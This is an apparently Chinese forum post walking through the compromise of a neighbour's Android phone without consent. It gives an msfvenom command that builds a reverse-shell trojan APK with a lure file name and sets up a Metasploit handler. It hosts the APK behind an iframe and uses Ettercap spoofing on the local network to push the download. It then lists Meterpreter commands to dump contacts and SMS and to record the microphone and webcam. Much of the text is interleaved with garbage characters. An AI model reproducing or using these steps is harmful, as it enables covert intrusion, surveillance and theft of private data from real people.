|
) z$ S0 P3 `% P5 h+ Z! J. R
五、msf+ettercap入侵邻居安卓手机 % d \6 c( J8 {4 V/ V
3 A0 o, w ^: M0 q& T7 R
6 G* c- @, Q) g/ U* P# Y
首先启动msf
; X4 M( }8 E1 @- `$ y 0 v! y4 N9 v6 v$ y) k" j
9 q, w9 H8 C) V/ X" B: n
先用kali生成一个安卓木马，如下命令： % m/ [. T( r4 h5 y1 E0 I) ~
& b2 Y$ I* _3 Z, J3 q3 a! O
$ }( E2 r+ { y' q' l! G& w; L Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk 8 O* _+ a2 {- E' I, ^9 u
+ M) p# X6 W$ o6 ]. \7 }7 ^! p
& @* R' r; U* O2 X( V) j- u  为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻
! ?, b' }0 D' E: H, `( n; r
+ S; d* g! m$ b4 C& W
) X6 y' R: D1 O3 ?% E6 _4 d 然后进入msf . _/ c* |* z$ _& P/ ^
7 f+ O5 V# G% y/ G" d8 C7 Z- M
% w; K, M' j: x: L1 I use exploit/multi/handler
5 y, C% D: {! U9 W$ O N! g9 I) p
8 O4 t$ [7 I& J1 J" Y- Y( v+ _9 N' u* x" v1 J
set payload android/meterpreter/reverse_tcp
$ E2 x' U! v/ F* K$ q b4 d ! q3 g. U- h; o3 m4 y6 U7 S
) \0 M* A! S/ ~! [: |! U9 J' I/ m
set LHOST 192.168.0.109 //ip为kaili的ip
" ]: h; x0 I% _$ W& v; U$ f" E
1 |, o6 e( w4 L5 D
; V1 _- _3 \6 ^* P* X0 p5 x, G set LPORT 44444 //端口一定要与前面生成的木马的端口一致 ) W& r2 T, U: n% L. _4 g
% A% s: Q! f4 ]+ Y% U: v/ G
* G, m! q- S4 j: K% s Exploit
* F% M( n! }1 Z6 h
% d& h( r: C# Y0 ]+ L1 u
# F; a3 @9 \- @8 v4 r* F8 ]5 a 
* M3 z/ F6 K7 F. @. c( ?9 U ' A" J7 T1 b& f" u, `
8 P) |/ u3 P* L# _3 m7 f 下面我们开启ettercap -G
. S p8 H7 J3 F$ w% i
; i, @8 V f) u- v# _
7 V! r5 Y1 s% i" g4 u 我物理IP为 # @( s8 z* {) C( |. B C4 }6 P; w
* U; M+ V7 l0 ?" u: ?0 N
3 o9 L% t2 T. q, Y 
7 D) \# T; _0 g' P1 H, w
- W, w0 W0 B. @8 {! `& V$ L. v% x* p
别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的，
; N3 |% N8 ~" r4 d5 M$ r( z 9 G3 y& E, Q: I! D4 V. b4 ^
4 S8 l M$ j( L2 \0 G 下面我们来设置一下 - W* W/ v# r! Z8 ^- x
9 i" W' a9 h2 c. Z3 l4 j
9 A. p* C8 D' T4 f
) A5 ^% Q4 o( l1 N( ] N
# ?" m0 N. b9 }& Z
: {/ C3 |$ _+ U x 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了， ' `% O+ R. Q7 E/ g( p# E
- q' {- w* L4 ]# ]! t9 Z3 H2 s/ N/ K _! [5 n
$ w$ {6 ? _! H9 J
' i% }) q) Y! J c9 C4 G( t, l/ R3 p/ j' O$ {4 t$ R( ?+ O
 % O" w: w E% h& O/ x
( C3 Q+ g/ ^4 R8 ~, E" i
+ \. p0 l( K2 K, f, G
/ y1 r; ?& a1 N5 c4 M( E1 O Q2 L$ Z
$ c0 M! z& W( v0 z3 p' I' x, H+ y- V: M2 c3 |
. a0 n+ N9 W% c7 t( [" y. G
% R1 {8 j7 v0 G, ]* M* S( C! G- ^ S1 ]( s$ G
b, L# ^/ Q% u2 D4 Q; y2 U( W% M' }) A
/ s8 i8 I: \! d' E2 h {2 M# R! ?2 T8 S9 m& Y% I. A
" L0 C1 g4 V; i9 g
9 j+ F+ \, U- [, l. e- N5 ]0 W/ i
, H, [; z; W: T% W
# L& r- y3 Q0 {6 \! n8 i, V
/ j8 r4 _ S! R& S8 r/ l
2 E" j; S& f$ n' ? @5 ~9 y. B" f
0 s$ y2 v U5 u9 [$ ^- h W" X9 |( \) d6 q7 K. q7 _
# }$ C# D, H# F5 F" L $ J. I1 M+ t* ^ |0 u2 o o% R
! O, n" O0 f9 v. L! W
! u2 E1 v# r9 C5 ]9 M
) `' u' [) M. i2 E8 x) j4 k2 u3 C' ]
$ v: ?$ x V4 j( V" T0 a( y
5 ~. W. t& F( D4 a) i* y0 B B& C. n8 ?. c0 F
& d: l3 d8 ~7 I2 L
0 e) y- c+ p8 N v* G
j- Q; T) g: x, L. K0 @6 w2 [% U  % L8 c6 _7 M2 T' B$ ]
- C* q' n2 E/ f; Y6 `3 `3 A
; g2 A+ R8 F& G 下面我们开始攻击
+ |# D3 W$ a. Y% N 2 ?: v7 V# c2 S+ `, `; r2 y
- @: N+ U5 @' E* G& l) L8 l
- K! y* h1 n( I: A# S5 h
+ z5 S: _" ]8 \; p9 s% J5 @" D
2 d8 t4 k2 \; L& w 0 m& ]7 o4 V3 ]2 R, `
: P2 O; P& B" J+ J9 i- Z {" d, W
9 m2 ~; Y u4 o' q/ J( L. |
# D9 E! J) a! `* @! y+ N
9 }2 T/ J) Y& ?. S
5 {" s$ N. s( u: N. s& F
7 l% p' j4 l7 g2 @2 G' J" j : W! p2 H# E/ ?+ g$ _% q
; o' G/ }1 B9 v" Z2 e2 M  / M8 s# \' l6 ?( H: m
% [6 ?* \* K0 V/ x, @- {/ g E( d8 t
) G( z; [4 g( M/ @. z6 T# @) J9 U 大概过了5分钟多，发现反弹成功了 4 o1 X; n0 l, `. G) l. Z
$ p. h3 L$ \: e; U8 }+ z! Q$ d, {4 I1 S- ^5 o1 d
5 T# t1 g, u+ t* u D8 w. ]1 T + Y8 D" m% \: f4 l! c) U3 e& e5 G
% |" J& C+ t2 m% H8 x# |( x6 e- s8 r
) @: x+ X( v+ h' Z1 }% T
: R; N& l$ m) G& z
$ ?5 C4 p6 s' L$ x7 c
" Z' j& ^7 ~% \, p2 z0 F' N6 I
" E2 x' E) y7 C( [6 R2 ^% c- s8 f7 Y) v* v4 m) x# F. H
/ M8 U5 \1 q I
2 S: q |( ]# v$ b
2 N$ b$ p0 ], [3 V( a. h* a% Y
1 S0 F! q! Y3 O( A0 v6 Y- i0 A
$ a4 N7 S* G. U0 Y; Z: @! ?( H3 k. D8 r2 b* T e" A9 H5 c( u
! O- u% {- P8 D/ Q2 \; |
$ u H) _: w. \! F; |
4 B5 v1 x) R. X. G0 C  1 h) i4 J6 m) M1 [$ R" e
7 Y8 @$ v$ W% K& [ B& z+ y, Y/ I% `, @
执行命令 - k1 |1 c; K2 J9 i3 _
* M8 o: p4 Z- F
2 _, m) n# K% i* K& K) }
$ @' i# m7 N7 O1 w5 e- }: w2 a
/ u' c8 J" g) N4 d+ F2 w2 _0 T R9 z. m
dump_contacts --》这个是导出电话 8 \' ?4 a, T! \) z0 y+ m
$ k) g# Y* v, U5 N
% B* Q" \ }" ~8 [& C dump_sms --》这个是导出信息 ) R# ?% h$ n+ r! ]
$ k6 _, j: ~8 Q* ?7 d U+ T! p* a# y6 f! W$ T( t; D! [3 K- }
record_mic Record audio from the default microphone for X seconds - ^! }: l# u( @) I+ Y; W
* K* J0 a4 b2 |, N
; {7 U, M X/ C7 a; w/ p2 n d webcam_chat Start a video chat , S# p: f5 i! f7 A
( t+ U( {$ S/ T( R+ N
7 _% A( \! f. D+ ?5 I
webcam_list List webcams 6 E+ W0 i7 ~. i1 u" C8 _; ~0 |
V# j% w0 [5 D! G4 ^3 |8 l4 i" ?( U+ b
2 S: M. ~; Z, b% C webcam_snap Take a snapshot from the specified webcam . @5 E6 u- `) o! ]$ f% z9 F
" x: B0 [$ Z! G; @; Q1 }
, n% V7 B' ~) o O# N8 g
webcam_stream  lay a video stream from the specified webcam , B2 s2 u6 S# ]( v, R
+ L6 N8 T1 {8 i
2 f3 c' a" {, m& y& r" l! ~ 
1 n2 P- u" U2 N+ b9 ]1 |+ B 0 j. [; }0 |' ^" ?2 V Y9 z2 h
, n. K4 Z G$ v! b0 B! l _. i. Y 
. O4 c" H y% P* z* |+ U5 ]# x; [ + e8 x1 l1 F2 ~6 \$ p% Z" R# D: e
( M) w+ {1 @& V7 k+ N& ]- N# ?
我们打开看一下电话薄，
, h/ S! q0 B- O
+ l5 d% T9 k- Y" d
: N; D! K J' w, S
. e- y+ I+ r3 O5 L* A7 e7 W, d. { + q/ U4 z+ U4 d/ j: E) t
/ P6 x0 i1 z" X [: P' v9 y+ ^
 " Y) \8 a7 \# i
2 R" W7 Y0 z2 w; J1 A2 N9 R
1 I/ c# N( h3 W8 b8 Q1 r( C4 f7 n : Q4 z% @9 ]9 `# I+ a
: x. z) X' x1 d( H' x% z
; ~: ?, ]5 b# Y2 F
; _5 N7 m3 ?' G1 ?6 A8 T8 N
, h6 @7 G4 P. Y3 m
, N% b& n3 J o/ _8 r( `% q  * g( ?( z, m/ X1 D% D8 Y
4 z7 c/ J& {6 }$ y! U* {. M; B. S1 o* E1 r; O' z" C
, @; B& y% k) S
% U' d1 T" Y" f5 Z: g+ q8 n9 `) O+ Z! G
1 @6 e/ F4 ~% u! B2 ?& `8 g 我们同时欺骗成DroidJack木马，使用方法如图：
) x" _+ w' m2 }2 q# H
# u5 R9 z: U3 D1 F# S
" [2 M9 c& |) \, S: }* I  ) R8 u' A. V7 A6 b% D; r
. ^! r+ W& d+ f* A8 d- Z. M0 @ a# e7 \- |
% ^; }+ y' B8 A; m# c
7 ^/ H; V: h) i0 y I% D4 P# C* V
. y% ]" j; v( L7 F9 q 
. p+ w- i; [) A+ `
/ Q9 N4 A* i+ R: }/ |7 ^. l9 |( {0 [' I
切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口 / l" O1 j' T* e- i! _( k
0 g; Y( E" h0 {$ N8 H9 q
0 A, w' G% L& |; N/ a; O/ K3 z. Z; h$ n* j
 9 e( o. E( T0 Z3 r. q) n7 O3 |
# }( v3 g( i# s& o8 [* I- G' q$ M7 [! I" L u
6 a ]# O, Q& v' \( c1 H8 s 1 v* {1 C- [" c& l+ f+ v3 o6 C
/ ?) u: W1 l( H8 O. p  & @2 \3 ?# u" d: E: R
+ C% `, L- Z' N8 F" U$ y0 J- M! o2 d
 
6 U2 e! L7 e) K9 s, | - j" D; @+ E, K2 F& h& j9 K
6 G1 M2 U" U0 l I9 {6 ]: O
9 k9 a2 y- ^& z2 U
| 
发表于 2018-10-20 20:30:37
收藏
支持
反对